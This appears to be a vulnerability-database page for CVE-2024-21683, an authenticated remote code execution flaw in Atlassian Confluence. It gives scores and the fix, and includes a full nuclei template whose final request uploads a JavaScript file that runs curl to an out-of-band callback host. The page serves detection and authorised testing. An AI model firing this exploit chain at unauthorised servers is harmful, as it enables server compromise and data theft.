HexBrain

Browse / CVEs / CVE-2024-21683

CVE-2024-21683· atlassian / confluence data center· CWE-78

Atlassian Confluence Data Center and Server - Remote Code Execution

highseverity
8.3CVSS score
88.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Detects a Remote Code Execution vulnerability in Confluence Data Center and Server versions prior to X.X (affected versions). This issue allows authenticated attackers to execute arbitrary code.

Impact

Authenticated attackers can execute arbitrary code on the Confluence server, potentially compromising the entire system and accessing sensitive data.

Fix

Update Atlassian Confluence Data Center and Server to the latest patched version.

How to confirm it

Send: POST /dologin.action ; POST /doauthenticate.action ; POST /admin/plugins/newcode/addlanguage.action
Positive when: status_code_1 == 302 && status_code_2 == 302 and contains(interactsh_protocol, 'dns') and contains(body_3, "confluence")

Run it with nuclei: nuclei -id CVE-2024-21683 -u <target>

The full check
id: CVE-2024-21683

info:
  name: Atlassian Confluence Data Center and Server - Remote Code Execution
  author: pdresearch
  severity: high
  description: |
    Detects a Remote Code Execution vulnerability in Confluence Data Center and Server versions prior to X.X (affected versions). This issue allows authenticated attackers to execute arbitrary code.
  impact: |
    Authenticated attackers can execute arbitrary code on the Confluence server, potentially compromising the entire system and accessing sensitive data.
  remediation: |
    Update Atlassian Confluence Data Center and Server to the latest patched version.
  reference:
    - https://confluence.atlassian.com/security/security-bulletin-may-21-2024-1387867145.html
    - https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21683
    - https://confluence.atlassian.com/pages/viewpage.action?pageId=1387867145
    - https://jira.atlassian.com/browse/CONFSERVER-95832
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 8.3
    cve-id: CVE-2024-21683
    cwe-id: CWE-78
    epss-score: 0.88267
    epss-percentile: 0.99772
    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    fofa-query: "app=\"ATLASSIAN-Confluence\""
    product: confluence_data_center
    vendor: atlassian
  tags: cve,cve2024,atlassian,confluence,rce,authenticated,intrusive,vkev,vuln
variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /dologin.action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        os_username={{username}}&os_password={{password}}&login=Log+in&os_destination=

      - |
        POST /doauthenticate.action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Atlassian-Token: no-check

        password={{password}}&authenticate=Confirm&destination=%2Fadmin%2Fplugins%2Fnewcode%2Faddlanguage.action

      - |
        POST /admin/plugins/newcode/addlanguage.action HTTP/1.1
        Host: {{Hostname}}
        X-Atlassian-Token: no-check
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFcBwsDjo5LkYWGWE

        ------WebKitFormBoundaryFcBwsDjo5LkYWGWE
        Content-Disposition: form-data; name="languageFile";filename="{{randstr}}.js"
        Content-type: text/javascript

        new java.lang.ProcessBuilder["(java.lang.String[])"](["curl","{{interactsh-url}}"]).start()
        ------WebKitFormBoundaryFcBwsDjo5LkYWGWE
        Content-Disposition: form-data; name="newLanguageName"

        {{randstr}}
        ------WebKitFormBoundaryFcBwsDjo5LkYWGWE--

    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 302 && status_code_2 == 302
          - contains(interactsh_protocol, 'dns')
          - contains(body_3, "confluence")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from